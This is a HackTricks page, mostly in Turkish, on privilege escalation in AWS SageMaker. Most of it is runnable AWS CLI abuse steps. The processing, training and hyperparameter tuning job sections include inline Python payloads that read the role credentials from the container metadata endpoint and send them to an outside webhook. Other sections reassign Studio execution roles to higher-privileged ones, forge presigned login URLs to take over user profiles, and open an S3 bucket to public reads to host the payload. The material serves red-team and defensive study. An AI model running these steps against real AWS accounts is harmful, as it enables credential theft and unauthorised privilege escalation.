AWS - Sagemaker Privesc

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

AWS - Sagemaker Privesc

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Erişim için iliştirilmiş IAM Role ile bir noteboook oluşturmaya başla:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

Yanıt, yeni oluşturulan notebook instance’ın ARN’sini içerecek olan NotebookInstanceArn alanını içermelidir. Daha sonra notebook instance hazır olduğunda ona erişmek için kullanabileceğimiz bir URL oluşturmak üzere create-presigned-notebook-instance-url API’sini kullanabiliriz:

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Tarayıcıyla URL’ye gidin ve sağ üstte `Open JupyterLab`` üzerine tıklayın, sonra aşağı kaydırıp “Launcher” sekmesine gidin ve “Other” bölümünün altında “Terminal” düğmesine tıklayın.

Artık IAM Role’ün metadata kimlik bilgilerine erişmek mümkün.

Olası Etki: Belirtilen sagemaker service rolüne Privesc.

sagemaker:CreatePresignedNotebookInstanceUrl

Üzerinde Jupyter notebook’lar zaten çalışıyorsa ve bunları sagemaker:ListNotebookInstances ile listeleyebiliyorsanız (veya bunları başka bir şekilde keşfedebiliyorsanız). Bunlar için bir URL oluşturabilir, erişebilir ve önceki teknikte belirtildiği gibi kimlik bilgilerini çalabilirsiniz.

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Olası Etki: Bağlı sagemaker servis rolünde Privesc.

sagemaker:CreatePresignedDomainUrl

Warning

Bu saldırı yalnızca eski, geleneksel SageMaker Studio domain’lerinde çalışır; SageMaker Unified Studio tarafından oluşturulanlarda çalışmaz. Unified Studio’dan gelen domain’ler şu hatayı döndürecektir: “This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal”.

Hedef bir Studio UserProfile üzerinde sagemaker:CreatePresignedDomainUrl çağırma iznine sahip bir kimlik, o profile doğrudan kimlik doğrulayan bir giriş URL’si oluşturabilir. Bu, saldırganın tarayıcısına profilin ExecutionRole izinlerini miras alan ve profilin EFS destekli home dizinine ve uygulamalarına tam erişim sağlayan bir Studio oturumu verir. Hiçbir iam:PassRole veya console erişimi gerekmez.

Gereksinimler:

  • Bir SageMaker Studio Domain ve içinde hedef bir UserProfile.
  • Saldırgan kimliğinin hedef UserProfile üzerinde sagemaker:CreatePresignedDomainUrl iznine (resource‑level) veya *’a ihtiyacı var.

Minimal policy example (scoped to one UserProfile):

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}

Abuse Steps:

  1. Hedefleyebileceğiniz bir Studio Domain ve UserProfiles’ı enumerate edin
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
  1. unified studio’nun kullanılmadığını kontrol edin (attack yalnızca geleneksel SageMaker Studio alanlarında çalışır)
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
  1. Varsayılan olarak yaklaşık 5 dakika geçerli olan bir presigned URL oluşturun
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
  1. Döndürülen URL’yi bir tarayıcıda açarak hedef kullanıcı olarak Studio’ya giriş yapın. Studio içindeki bir Jupyter terminalinde etkin kimliği doğrulayın veya token’ı exfiltrate edin:
aws sts get-caller-identity

Notlar:

  • --landing-uri atlanabilir. Bazı değerler (ör. app:JupyterLab:/lab) Studio türüne/sürümüne bağlı olarak reddedilebilir; varsayılanlar tipik olarak Studio ana sayfasına ve ardından Jupyter’e yönlendirir.
  • Org politikaları/VPC endpoint kısıtlamaları yine de ağ erişimini engelleyebilir; token oluşturma için console sign‑in veya iam:PassRole gerekmez.

Potential Impact: Lateral movement and privilege escalation by assuming any Studio UserProfile whose ARN is permitted, inheriting its ExecutionRole and filesystem/apps.

sagemaker:CreatePresignedMlflowTrackingServerUrl, sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments

Hedef bir SageMaker MLflow Tracking Server için sagemaker:CreatePresignedMlflowTrackingServerUrl (ve daha sonra erişim için sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments) çağırma iznine sahip bir kimlik, o sunucu için yönetilen MLflow UI’a doğrudan kimlik doğrulayan tek kullanımlık bir presigned URL oluşturabilir. Bu, meşru bir kullanıcının sunucuya sahip olacağı aynı erişimi verir (deneyimleri ve run’ları görüntüleme/oluşturma ve sunucunun S3 artifact deposundaki artifact’ları indirme/yükleme).

Requirements:

  • Hesap/bölgedeki bir SageMaker MLflow Tracking Server ve onun adı.
  • Saldırganın principal’ının hedef MLflow Tracking Server kaynağı üzerinde sagemaker:CreatePresignedMlflowTrackingServerUrl iznine ihtiyacı vardır (veya *).

Abuse Steps:

  1. Hedefleyebileceğiniz MLflow Tracking Server’ları listeleyin ve bir isim seçin
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
  1. Presigned MLflow UI URL oluşturun (kısa süre için geçerli)
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text
  1. Döndürülen URL’yi bir tarayıcıda açarak ilgili Tracking Server için kimlik doğrulaması yapılmış kullanıcı olarak MLflow UI’ya erişin.

Olası Etki: Hedeflenen Tracking Server için yönetilen MLflow UI’ya doğrudan erişim; sunucu yapılandırmasının uyguladığı izinler dahilinde deneyleri/çalıştırmaları görüntüleme ve değiştirme ile sunucunun yapılandırdığı S3 artifact store’da saklanan artefaktları alma veya yükleme yapma imkânı.

sagemaker:CreateProcessingJob, iam:PassRole

Bu izinlere sahip bir saldırgan, bir SageMaker rolü iliştirilmiş olarak SageMaker’in bir processing job yürütmesini sağlayabilir. AWS Deep Learning Containers’tan Python içeren birini yeniden kullanarak (ve işi URI ile aynı bölgede çalıştırarak), kendi imajlarınızı oluşturmadan inline kod çalıştırabilirsiniz:

REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
ENV='{"W":"https://example.com/webhook"}'

aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--environment "$ENV" \
--role-arn $ROLE_ARN

# Las credenciales llegan al webhook indicado. Asegúrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.

Potansiyel Etki: Belirtilen sagemaker servis rolüne Privesc.

sagemaker:CreateTrainingJob, iam:PassRole

Bu izinlere sahip bir saldırgan, belirtilen rol ile keyfi kod çalıştıran bir training job başlatabilir. SageMaker’in resmi bir container’ını kullanıp entrypoint’i inline bir payload ile üzerine yazarak, kendi imajlarınızı oluşturmanıza gerek yok:

REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
ENV='{"W":"https://example.com/webhook"}'
OUTPUT_S3=s3://<existing-bucket>/training-output/
# El rol debe poder leer imágenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.

aws sagemaker create-training-job \
--training-job-name privesc-train \
--role-arn $ROLE_ARN \
--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
--stopping-condition '{"MaxRuntimeInSeconds":600}' \
--environment "$ENV"

# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.

Potansiyel Etki: Privesc to the SageMaker service role specified.

sagemaker:CreateHyperParameterTuningJob, iam:PassRole

Bu izinlere sahip bir attacker, sağlanan role altında attacker-controlled kod çalıştıran bir HyperParameter Tuning Job başlatabilir. Script mode, payload’ı S3’te barındırmayı gerektirir, ancak tüm adımlar CLI üzerinden otomatikleştirilebilir:

REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
BUCKET=sm-hpo-privesc-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION

# Allow public reads so any SageMaker role can pull the code
aws s3api put-public-access-block \
--bucket $BUCKET \
--public-access-block-configuration '{
"BlockPublicAcls": false,
"IgnorePublicAcls": false,
"BlockPublicPolicy": false,
"RestrictPublicBuckets": false
}'

aws s3api put-bucket-policy --bucket $BUCKET --policy "{
\"Version\": \"2012-10-17\",
\"Statement\": [
{
\"Effect\": \"Allow\",
\"Principal\": \"*\",
\"Action\": \"s3:GetObject\",
\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
}
]
}"

cat <<'EOF' > /tmp/train.py
import os, time, urllib.request

def main():
meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
if not meta:
return
creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
req = urllib.request.Request(
"https://example.com/webhook",
data=creds,
headers={"Content-Type": "application/json"}
)
urllib.request.urlopen(req)
print("train:loss=0")
time.sleep(300)

if __name__ == "__main__":
main()
EOF

cd /tmp
tar -czf code.tar.gz train.py
aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read

echo "dummy" > /tmp/input.txt
aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read

IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
CODE_S3=s3://$BUCKET/code/train-code.tar.gz
TRAIN_INPUT_S3=s3://$BUCKET/input
OUTPUT_S3=s3://$BUCKET/output
# El rol necesita permisos ECR y escritura en el bucket.

cat > /tmp/hpo-definition.json <<EOF
{
"AlgorithmSpecification": {
"TrainingImage": "$IMAGE",
"TrainingInputMode": "File",
"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
},
"StaticHyperParameters": {
"sagemaker_program": "train.py",
"sagemaker_submit_directory": "$CODE_S3"
},
"RoleArn": "$ROLE_ARN",
"InputDataConfig": [
{
"ChannelName": "training",
"DataSource": {
"S3DataSource": {
"S3DataType": "S3Prefix",
"S3Uri": "$TRAIN_INPUT_S3",
"S3DataDistributionType": "FullyReplicated"
}
}
}
],
"OutputDataConfig": {
"S3OutputPath": "$OUTPUT_S3"
},
"ResourceConfig": {
"InstanceType": "ml.m5.large",
"InstanceCount": 1,
"VolumeSizeInGB": 50
},
"StoppingCondition": {
"MaxRuntimeInSeconds": 600
}
}
EOF

aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-name privesc-hpo \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json

Süreç tarafından başlatılan her eğitim metriği yazdırır ve belirtilen rolün kimlik bilgilerini exfiltrate eder.

sagemaker:UpdateUserProfile, iam:PassRole, sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)

SageMaker Studio User Profile’ı güncelleme, bir uygulama oluşturma, uygulamaya ön imzalı bir URL oluşturma ve iam:PassRole izinlerine sahip olmak, saldırganın ExecutionRoleu SageMaker servis principalinin üstlenebileceği herhangi bir IAM rolü olarak ayarlamasına izin verir. Bu profil için başlatılan yeni Studio uygulamaları değiştirilmiş rol ile çalışacak ve Studio’dan başlatılan Jupyter terminalleri veya işler aracılığıyla etkileşimli yükseltilmiş izinler sağlar.

Warning

Bu saldırı profilde hiçbir uygulama olmamasını gerektirir; aksi takdirde uygulama oluşturma şu benzer hatayla başarısız olur: An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again. Eğer herhangi bir uygulama varsa, önce bunları silmek için sagemaker:DeleteApp iznine ihtiyacınız olacaktır.

Adımlar:

# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>

# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>


# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)

Olası Etki: interactive Studio oturumları için belirtilen SageMaker execution role izinlerine yetki yükseltme.

sagemaker:UpdateDomain, sagemaker:CreateApp, iam:PassRole, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)

Bir kullanıcıya SageMaker Studio Domain’i güncelleme, bir app oluşturma, app için bir presigned URL oluşturma ve iam:PassRole izinleri verildiğinde, bir saldırgan varsayılan domain ExecutionRole’ü SageMaker service principal’ın assume edebileceği herhangi bir IAM role olarak ayarlayabilir. O profil için başlatılan yeni Studio app’leri değiştirilmiş role ile çalışacak ve Jupyter terminalleri veya Studio’dan başlatılan job’lar aracılığıyla etkileşimli yükseltilmiş izinler sağlayacaktır.

Warning

Bu saldırı, domain içinde hiçbir uygulama olmamasını gerektirir; aksi takdirde uygulama oluşturma şu hata ile başarısız olur: An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.

Adımlar:

# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>

# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated

# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)

Potential Impact: Belirtilen SageMaker execution role izinlerine, etkileşimli Studio oturumları kapsamında Privilege escalation.

sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl

Hedef bir UserProfile için SageMaker Studio uygulaması oluşturma iznine sahip bir attacker, profilin ExecutionRole ile çalışan bir JupyterServer uygulaması başlatabilir. Bu, rolün izinlerine Jupyter terminalleri veya Studio’dan başlatılan işler aracılığıyla etkileşimli erişim sağlar.

Adımlar:

# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc

# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text

# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity

Potential Impact: Hedef UserProfile’a bağlı SageMaker execution role’a etkileşimli erişim.

iam:GetUser, datazone:CreateUserProfile

Bu izinlere sahip bir saldırgan, o kullanıcı için bir DataZone User Profile oluşturarak bir IAM user’ın Sagemaker Unified Studio Domain’e erişmesine izin verebilir.

# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json

# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER

The Unified Domain URL şu biçimdedir: https://<domain-id>.sagemaker.<region>.on.aws/ (ör. https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/).

Potansiyel Etki: Kullanıcı olarak Sagemaker Unified Studio Domain’e erişim, Sagemaker domain içindeki tüm kaynaklara erişilebilmesini ve hatta Sagemaker Unified Studio Domain içindeki notebook’ların kullandığı role privilege escalation yapılabilmesini sağlar.

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin